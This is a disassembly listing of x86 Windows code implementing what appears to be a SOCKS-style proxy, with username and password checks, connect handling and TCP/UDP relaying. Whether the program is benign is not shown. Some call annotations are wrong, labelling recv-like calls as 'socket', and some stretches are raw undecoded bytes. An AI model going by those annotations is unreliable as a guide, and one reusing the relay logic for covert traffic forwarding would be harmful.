var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A4F1:				; CODE XREF: sub_42A4D0+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A50A:				; CODE XREF: sub_42A4D0+45j
		cmp	[ecx], ebx
		jz	short loc_42A517
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A50A


loc_42A517:				; CODE XREF: sub_42A4D0+3Cj
		cmp	eax, 1
		jnz	short loc_42A528
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A528:				; CODE XREF: sub_42A4D0+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42A5B3
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A5B3
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436FF0
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A55C
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A55E
; ---------------------------------------------------------------------------


loc_42A55C:				; CODE XREF: sub_42A4D0+84j
		mov	eax, ebx


loc_42A55E:				; CODE XREF: sub_42A4D0+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		call	near ptr 71AB615Ah
		nop
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A602
		test	edi, edi
		jz	short loc_42A602
		jbe	short loc_42A5AC


loc_42A58B:				; CODE XREF: sub_42A4D0+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		call	near ptr 71AB428Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A602
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A58B


loc_42A5AC:				; CODE XREF: sub_42A4D0+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A5B3:				; CODE XREF: sub_42A4D0+70j
					; sub_42A4D0+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A5C5:				; CODE XREF: sub_42A4D0+100j
		cmp	[ecx], ebx
		jz	short loc_42A5D2
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A5C5


loc_42A5D2:				; CODE XREF: sub_42A4D0+F7j
		cmp	eax, 1
		jnz	short loc_42A5E4
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A5E4:				; CODE XREF: sub_42A4D0+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jle	loc_42A4F1


loc_42A602:				; CODE XREF: sub_42A4D0+B3j
					; sub_42A4D0+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A4D0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A680	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
		push	ebx
		push	ebp
		mov	ebp, [esp+524h+arg_4]
		push	esi
		push	edi
		mov	edx, ecx
		movsx	eax, byte ptr [ebp+3]
		dec	eax
		mov	[esp+52Ch+var_508], 0
		mov	[esp+52Ch+var_50C], 7
		mov	[esp+52Ch+var_51C], 2
		jz	short loc_42A71F
		dec	eax
		jz	short loc_42A6CA
		dec	eax
		jnz	loc_42A812
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A6CA:				; CODE XREF: sub_42A680+32j
		movsx	eax, byte ptr [ebp+4]
		mov	ecx, eax
		lea	esi, [ebp+5]
		mov	ebx, ecx
		lea	edi, [esp+52Ch+var_400]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	byte ptr [esp+eax+52Ch+var_400], 0
		lea	eax, [esp+52Ch+var_518]
		lea	ecx, [esp+52Ch+var_400]
		push	eax
		push	ecx
		mov	ecx, edx
		call	sub_40174E
		test	al, al
		jz	loc_42A812
		movsx	esi, byte ptr [ebp+4]
		mov	dx, [esi+ebp+5]
		add	esi, 7
		mov	[esp+52Ch+var_51A], dx
		jmp	short loc_42A73B
; ---------------------------------------------------------------------------


loc_42A71F:				; CODE XREF: sub_42A680+2Fj
		mov	eax, [ebp+4]
		mov	esi, 0Ah
		mov	[esp+52Ch+var_400], eax
		mov	[esp+52Ch+var_518], eax
		mov	ax, [ebp+8]
		mov	[esp+52Ch+var_51A], ax


loc_42A73B:				; CODE XREF: sub_42A680+9Dj
		mov	ebx, dword_50FC30
		push	11h
		push	2
		push	2
		call	ebx	; socket
		push	11h
		push	2
		push	2
		mov	edi, eax
		call	ebx	; socket
		cmp	edi, 0FFFFFFFFh
		jz	loc_42A812
		cmp	eax, 0FFFFFFFFh
		jnz	loc_42A812
		mov	edx, [esp+52Ch+arg_8]
		lea	ecx, [esp+52Ch+var_51C]
		push	10h
		push	ecx
		sub	edx, esi
		push	0
		add	esi, ebp
		mov	ebp, dword_50FC5C
		push	edx
		push	esi
		push	edi
		call	ebp	; sendto
		mov	ebx, [esp+52Ch+arg_0]
		push	10h
		push	ebx
		push	edi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jnz	short loc_42A812


loc_42A799:				; CODE XREF: sub_42A680+174j
		lea	eax, [esp+52Ch+var_50C]
		lea	ecx, [esp+52Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+540h+var_500], 0FFFFFFFFh
		mov	[esp+540h+var_504], 1
		nop
		call	near ptr 71AB2DC0h
		push	0
		push	0
		push	0
		lea	edx, [esp+538h+var_400]
		push	3FFh
		push	edx
		push	edi
		nop
		call	near ptr 71AB2D0Fh
		push	10h
		mov	esi, eax
		push	ebx
		push	0
		lea	eax, [esp+538h+var_400]
		push	esi
		push	eax
		push	0FFFFFFFFh
		call	ebp	; sendto
		test	esi, esi
		jbe	short loc_42A7F6
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42A799


loc_42A7F6:				; CODE XREF: sub_42A680+16Fj
		mov	esi, dword_50FC88
		push	edi
		call	esi	; closesocket
		push	0FFFFFFFFh
		call	esi	; closesocket
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_42A812:				; CODE XREF: sub_42A680+35j
					; sub_42A680+86j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 51Ch
		retn	0Ch
sub_42A680	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A8A0	proc near		; CODE XREF: sub_42B360:loc_4013A2j

var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= byte ptr -81Ch
var_81A		= word ptr -81Ah
var_818		= dword	ptr -818h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_7E8		= dword	ptr -7E8h
var_7E4		= dword	ptr -7E4h
var_708		= byte ptr -708h
var_707		= byte ptr -707h
var_705		= dword	ptr -705h
var_604		= word ptr -604h
var_600		= dword	ptr -600h
var_5F0		= byte ptr -5F0h
var_200		= byte ptr -200h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 82Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+838h+arg_0]
		cmp	esi, 0FFFFFFFFh
		push	edi
		mov	ebp, ecx
		mov	[esp+83Ch+var_828], 0
		mov	[esp+83Ch+var_82C], 0Bh
		mov	[esp+83Ch+var_808], esi
		mov	[esp+83Ch+var_80C], 1
		jz	loc_42AB5A
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		mov	ax, [ecx+ebp-2]
		cmp	ax, 1
		jnz	loc_42AC76
		mov	edi, dword_50FC80
		lea	edx, [esp+83Ch+var_82C]
		push	edx
		push	0
		lea	eax, [esp+844h+var_80C]
		push	0
		push	eax
		push	1
		call	edi	; select
		test	eax, eax
		jle	loc_42AD03
		lea	ecx, [esp+83Ch+var_80C]
		push	ecx
		push	esi
		call	sub_436FF0
; ---------------------------------------------------------------------------
		dd 840FC085h, 3E3h, 16A066Ah, 66E8026Ah, 90716892h, 89FFF883h
		dd 0F1C2444h, 22184h, 901D8B00h, 6A0050FCh, 24948D00h
		dd 240h, 5652026Ah, 0BC80D3FFh,	23C24h,	850F0500h, 1FEh
		dd 2484BE0Fh, 23Dh, 948DC933h, 23C24h, 248C8900h, 23Ch
		dd 40248C89h, 66000002h, 44248C89h, 51000002h, 88565250h
		dd 256248Ch, 0D3FF0000h, 26A006Ah, 4452FC68h, 0EBE85600h
		dd 90716898h, 1024448Dh, 30244C8Dh, 6A006A50h, 16A5100h
		dd 282444C7h, 0
; ---------------------------------------------------------------------------
		mov	[esp+82Ch+var_808], 7
		mov	[esp+82Ch+var_7E4], esi
		mov	[esp+82Ch+var_7E8], 1
		call	edi	; select
		xor	eax, eax
		lea	edx, [esp+82Ch+var_5F0]
		push	eax
		mov	ecx, 20h
		lea	edi, [esp+830h+var_5F0]
		push	2
		push	edx
		push	esi
		rep stosd
		call	ebx	; socket
		cmp	byte ptr [esp+83Ch+var_600], 1
		jnz	loc_42AB5A
		movsx	eax, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	ecx, [esp+840h+var_200]
		push	eax
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600+1]
		push	0
		lea	eax, [esp+840h+var_600]
		push	1
		push	eax
		push	esi
		mov	[esp+edx+84Ch+var_200],	0
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	edx, [esp+840h+var_100]
		push	ecx
		push	edx
		push	esi
		call	ebx	; socket
		movsx	eax, byte ptr [esp+83Ch+var_600]
		mov	ecx, [ebp-8]
		mov	[esp+eax+83Ch+var_100],	0
		mov	ecx, [ecx+4]
		add	ecx, ebp
		call	sub_4017E4
		mov	edi, eax
		lea	ecx, [esp+83Ch+var_200]


loc_42AA6B:				; CODE XREF: sub_42A8A0+1E9j
		mov	dl, [ecx]
		mov	al, dl
		cmp	dl, [edi]
		jnz	short loc_42AA8F
		test	al, al
		jz	short loc_42AA8B
		mov	dl, [ecx+1]
		mov	al, dl
		cmp	dl, [edi+1]
		jnz	short loc_42AA8F
		add	ecx, 2
		add	edi, 2
		test	al, al
		jnz	short loc_42AA6B


loc_42AA8B:				; CODE XREF: sub_42A8A0+1D5j
		xor	eax, eax
		jmp	short loc_42AA94
; ---------------------------------------------------------------------------


loc_42AA8F:				; CODE XREF: sub_42A8A0+1D1j
					; sub_42A8A0+1DFj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AA94:				; CODE XREF: sub_42A8A0+1EDj
		test	eax, eax
		jz	short loc_42AAF1
		mov	eax, [ebp-8]
		mov	ecx, [eax+4]
		lea	ecx, [ecx+ebp+15h]
		call	sub_4017E4
		lea	edi, [esp+83Ch+var_100]


loc_42AAAE:				; CODE XREF: sub_42A8A0+22Cj
		mov	dl, [edi]
		mov	cl, dl
		cmp	dl, [eax]
		jnz	short loc_42AAD2
		test	cl, cl
		jz	short loc_42AACE
		mov	dl, [edi+1]
		mov	cl, dl
		cmp	dl, [eax+1]
		jnz	short loc_42AAD2
		add	edi, 2
		add	eax, 2
		test	cl, cl
		jnz	short loc_42AAAE


loc_42AACE:				; CODE XREF: sub_42A8A0+218j
		xor	eax, eax
		jmp	short loc_42AAD7
; ---------------------------------------------------------------------------


loc_42AAD2:				; CODE XREF: sub_42A8A0+214j
					; sub_42A8A0+222j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42AAD7:				; CODE XREF: sub_42A8A0+230j
		test	eax, eax
		jz	short loc_42AAF1
		push	esi
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AAF1:				; CODE XREF: sub_42A8A0+1F6j
					; sub_42A8A0+239j
		mov	edi, dword_50FC8C
		push	0
		push	2
		push	offset dword_4452F8
		push	esi
		call	edi	; send
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		nop
		call	near ptr 71AB2DC0h
		lea	edx, [esp+83Ch+var_80C]
		push	edx
		push	esi
		call	sub_436FF0
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42AB5A
		push	0
		lea	eax, [esp+840h+var_708]
		push	4
		push	eax
		push	esi
		call	ebx	; socket
		mov	eax, [esp+83Ch+var_705]
		and	eax, 0FFh
		dec	eax
		jz	short loc_42ABC1
		sub	eax, 2
		jz	short loc_42AB69
		dec	eax


loc_42AB58:				; CODE XREF: sub_42A8A0+31Fj
		jnz	short loc_42ABD0


loc_42AB5A:				; CODE XREF: sub_42A8A0+32j
					; sub_42A8A0+154j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AB69:				; CODE XREF: sub_42A8A0+2B5j
		push	0
		lea	ecx, [esp+840h+var_600]
		push	1
		push	ecx
		push	esi
		call	ebx	; socket
		movsx	edx, byte ptr [esp+83Ch+var_600]
		push	0
		lea	eax, [esp+840h+var_705+1]
		push	edx
		push	eax
		push	esi
		call	ebx	; socket
		movsx	ecx, byte ptr [esp+83Ch+var_600]
		lea	edx, [esp+83Ch+var_600]
		lea	eax, [esp+83Ch+var_705+1]
		mov	byte ptr [esp+ecx+83Ch+var_705+1], 0
		mov	ecx, [ebp-8]
		push	edx
		push	eax
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_40174E
		test	al, al
		jmp	short loc_42AB58
; ---------------------------------------------------------------------------


loc_42ABC1:				; CODE XREF: sub_42A8A0+2B0j
		push	0
		lea	eax, [esp+840h+var_600]
		push	4
		push	eax
		push	esi
		call	ebx	; socket


loc_42ABD0:				; CODE XREF: sub_42A8A0:loc_42AB58j
		push	0
		lea	ecx, [esp+840h+var_604]
		push	2
		push	ecx
		push	esi
		call	ebx	; socket
		cmp	[esp+83Ch+var_707], 1
		jnz	loc_42AB5A
		mov	ebx, [esp+83Ch+var_820]
		mov	dx, [esp+83Ch+var_604]
		mov	eax, [esp+83Ch+var_600]
		lea	ecx, [esp+83Ch+var_81C]
		push	10h
		push	ecx
		push	ebx
		mov	word ptr [esp+848h+var_81C], 2
		mov	[esp+848h+var_81A], dx
		mov	[esp+848h+var_818], eax
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	loc_42AB5A
		push	eax
		push	4
		push	offset dword_4452F0
		push	esi
		call	edi	; send
		push	0
		lea	edx, [esp+840h+var_600]
		push	4
		push	edx
		push	esi
		call	edi	; send
		push	0
		lea	eax, [esp+840h+var_604]
		push	2
		push	eax
		push	esi
		call	edi	; send
		mov	ecx, [ebp-8]
		push	ebx
		push	esi
		mov	edx, [ecx+4]
		lea	ecx, [edx+ebp-8]
		call	sub_4020C2
		push	ebx
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
; ---------------------------------------------------------------------------


loc_42AC76:				; CODE XREF: sub_42A8A0+47j
		cmp	ax, 2
		jnz	loc_42AD03
		mov	ebx, dword_50FC80


loc_42AC86:				; CODE XREF: sub_42A8A0+461j
		lea	eax, [esp+83Ch+var_82C]
		lea	ecx, [esp+83Ch+var_80C]
		push	eax
		push	0
		push	0
		push	ecx
		push	1
		mov	[esp+850h+var_808], esi
		mov	[esp+850h+var_80C], 1
		call	ebx	; select
		lea	edx, [esp+83Ch+var_824]
		lea	eax, [esp+83Ch+var_81C]
		push	edx
		push	eax
		push	0
		lea	ecx, [esp+848h+var_600]
		push	3FFh
		push	ecx
		push	esi
		mov	[esp+854h+var_824], 10h
		call	near ptr 71AB2D0Fh
		nop
		mov	ecx, [ebp-8]
		mov	edi, eax
		lea	edx, [esp+83Ch+var_600]
		push	edi
		push	edx
		mov	edx, [ecx+4]
		lea	eax, [esp+844h+var_81C]
		push	eax
		lea	ecx, [edx+ebp-8]
		call	sub_401C1C
		test	edi, edi
		jz	short loc_42AD03
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42AD03
		lea	eax, [esp+83Ch+var_80C]
		push	eax
		push	esi
		call	sub_436FF0
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_42AC86


loc_42AD03:				; CODE XREF: sub_42A8A0+67j
					; sub_42A8A0+3DAj ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 82Ch
		retn	4
sub_42A8A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42AE40	proc near		; CODE XREF: sub_401F19j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+32h]
		test	eax, eax
		jz	short loc_42AE54
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE54:				; CODE XREF: sub_42AE40+Bj
		xor	eax, eax
		mov	ax, [esi+6]
		dec	eax
		jz	short loc_42AE66
		dec	eax
		jz	short loc_42AE88
		mov	word ptr [esi+6], 1


loc_42AE66:				; CODE XREF: sub_42AE40+1Bj
		mov	eax, 1
		mov	ecx, 6


loc_42AE70:				; CODE XREF: sub_42AE40+52j
		push	ecx
		push	eax
		push	2
		nop
		call	near ptr 71AB3B91h
		test	eax, eax
		mov	[esi+32h], eax
		jnz	short loc_42AE94
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AE88:				; CODE XREF: sub_42AE40+1Ej
		mov	eax, 2
		mov	ecx, 11h
		jmp	short loc_42AE70
; ---------------------------------------------------------------------------


loc_42AE94:				; CODE XREF: sub_42AE40+3Fj
		mov	ax, [esi+4]
		mov	[esp+14h+var_10], 2
		push	eax
		mov	[esp+18h+var_C], 0
		nop
		call	near ptr 71AB2B66h
		mov	edx, [esi+32h]
		lea	ecx, [esp+14h+var_10]
		push	10h
		push	ecx
		push	edx
		mov	[esp+20h+var_E], ax
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42AED9
		mov	eax, [esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AED9:				; CODE XREF: sub_42AE40+86j
		cmp	word ptr [esi+6], 1
		jnz	short loc_42AF01
		mov	ecx, [esi+32h]
		push	3
		push	ecx
		call	near ptr 71AB88D3h
		nop
		test	eax, eax
		jz	short loc_42AF01
		mov	edx, [esi+32h]
		push	edx
		call	near ptr 71AB9639h
		nop
		xor	al, al
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_42AF01:				; CODE XREF: sub_42AE40+9Ej
					; sub_42AE40+AEj
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn
sub_42AE40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42AF50	proc near		; CODE XREF: sub_401DBBj

var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_42AF50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	[ebp+var_10], esp
		mov	ax, [edi+6]
		cmp	ax, 1
		jnz	short loc_42AFEA
		mov	eax, [edi+32h]
		mov	[ebp+var_14], 10h
		test	eax, eax
		jz	short loc_42AFD1
		mov	ebx, dword_50FC84
		lea	ecx, [ebp+var_14]
		lea	edx, [ebp+var_24]
		push	ecx
		push	edx
		push	eax
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jnz	short loc_42AFB6


loc_42AFA2:				; CODE XREF: sub_42AF50+64j
		mov	edx, [edi+32h]
		lea	eax, [ebp+var_14]
		lea	ecx, [ebp+var_24]
		push	eax
		push	ecx
		push	edx
		call	ebx	; accept
		mov	esi, eax
		test	esi, esi
		jz	short loc_42AFA2


loc_42AFB6:				; CODE XREF: sub_42AF50+50j
		mov	eax, [edi]
		push	esi
		mov	ecx, edi
		mov	[ebp+var_4], 0
		call	dword ptr [eax]
		push	esi
		mov	bl, al
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jnz	short loc_42B00A


loc_42AFD1:				; CODE XREF: sub_42AF50+39j
					; sub_42AF50+9Ej ...
		xor	al, al
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42AFE4:				; DATA XREF: ___:00441F7Co
		mov	eax, offset loc_42AFD1
		retn
; ---------------------------------------------------------------------------


loc_42AFEA:				; CODE XREF: sub_42AF50+2Bj
		cmp	ax, 2
		jnz	short loc_42AFD1
		mov	eax, [edi+32h]
		mov	edx, [edi]
		push	eax
		mov	ecx, edi
		call	dword ptr [edx]
		mov	ecx, [edi+32h]
		mov	bl, al
		push	ecx
		nop
		call	near ptr 71AB9639h
		test	bl, bl
		jz	short loc_42AFD1


loc_42B00A:				; CODE XREF: sub_42AF50+7Fj
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42AF50	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B060:				; CODE XREF: ___:00401F78j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43BC30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		mov	[ebp-10h], esp
		mov	dword ptr [ebp-4], 0
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	eax, [ecx+esi+32h]
		add	ecx, esi
		push	eax
		mov	edx, [ecx]
		call	dword ptr [edx]
		mov	ecx, [esi]
		mov	edx, [ecx+4]
		mov	eax, [edx+esi+32h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B0A9:				; DATA XREF: ___:loc_42B0C1o
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	eax, 1
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_42B0C1:				; DATA XREF: ___:00441FDCo
		mov	eax, offset loc_42B0A9
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B0F0	proc near		; CODE XREF: sub_401C17j

var_19C		= byte ptr -19Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= byte ptr  8
arg_1C		= byte ptr  20h

		push	0FFFFFFFFh
		push	offset SEH_42B0F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 194h
		lea	eax, [esp+1A0h+var_19C]
		mov	[esp+1A0h+var_4], 1
		push	eax
		push	2
		nop
		call	near ptr 71AB664Dh
		test	eax, eax
		jz	short loc_42B167


loc_42B127:				; CODE XREF: ___:0042B1F6j
		lea	ecx, [esp+1A0h+arg_4]
		mov	byte ptr [esp+1A0h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1A0h+arg_1C]
		mov	[esp+1A0h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1A0h+var_C]
		mov	large fs:0, ecx
		add	esp, 1A0h
		retn
; ---------------------------------------------------------------------------


loc_42B167:				; CODE XREF: sub_42B0F0+35j
		push	42h
		call	sub_43688A
sub_42B0F0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+0], eax
		test	eax, eax
		mov	byte ptr [esp+19Ch], 2
		jz	short loc_42B18C
		push	1
		mov	ecx, eax
		call	sub_4014E7
		jmp	short loc_42B18E
; ---------------------------------------------------------------------------


loc_42B18C:				; CODE XREF: ___:0042B17Fj
		xor	eax, eax


loc_42B18E:				; CODE XREF: ___:0042B18Aj
		mov	dword_50E388, eax
		mov	ecx, [eax]
		mov	byte ptr [esp+19Ch], 1
		mov	edx, [ecx+4]
		mov	cx, [esp+1A4h]
		mov	[edx+eax+4], cx
		mov	eax, dword_50E388
		lea	edx, [esp+1A8h]
		mov	ecx, [eax]
		push	edx
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+8]
		call	sub_40200E
		lea	eax, [esp+1C0h]
		push	eax
		mov	eax, dword_50E388
		mov	ecx, [eax]
		mov	edx, [ecx+4]
		lea	ecx, [edx+eax+1Dh]
		call	sub_40200E
		mov	eax, dword_50E388
		mov	ecx, [eax]
		mov	ecx, [ecx+4]
		add	ecx, eax
		call	sub_401F19
		test	al, al
		jz	loc_42B127


loc_42B1FC:				; CODE XREF: ___:0042B20Dj
		mov	eax, dword_50E388
		mov	edx, [eax]
		mov	ecx, [edx+4]
		add	ecx, eax
		call	sub_401DBB
		jmp	short loc_42B1FC
; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B260	proc near		; CODE XREF: sub_4014E7j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		test	eax, eax
		mov	esi, ecx
		mov	[esp+8+var_4], 0
		jz	short loc_42B282
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	dword_43E190
		call	sub_4014AB


loc_42B282:				; CODE XREF: sub_42B260+12j
		mov	eax, [esi]
		mov	ecx, [eax+4]
		mov	dword ptr [ecx+esi], offset off_43E18C
		mov	edx, [esi]
		mov	eax, [edx+4]
		lea	ecx, [eax-8]
		mov	[eax+esi-4], ecx
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
sub_42B260	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B2D0	proc near		; CODE XREF: sub_4014ABj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B2D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8]
		call	sub_401424
		lea	ecx, [esi+1Dh]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43E19C
		mov	dword ptr [esi+32h], 0
		mov	word ptr [esi+6], 1
		mov	word ptr [esi+4], 0
		mov	dword ptr [esi+36h], 1000h
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B2D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B360	proc near		; CODE XREF: sub_4020D1j

; FUNCTION CHUNK AT 004013A2 SIZE 00000005 BYTES

		sub	ecx, [ecx-4]
		jmp	loc_4013A2
sub_42B360	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42B370:				; CODE XREF: ___:00401352j
		push	0FFFFFFFFh
		push	offset loc_43BCA8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		call	sub_401F82
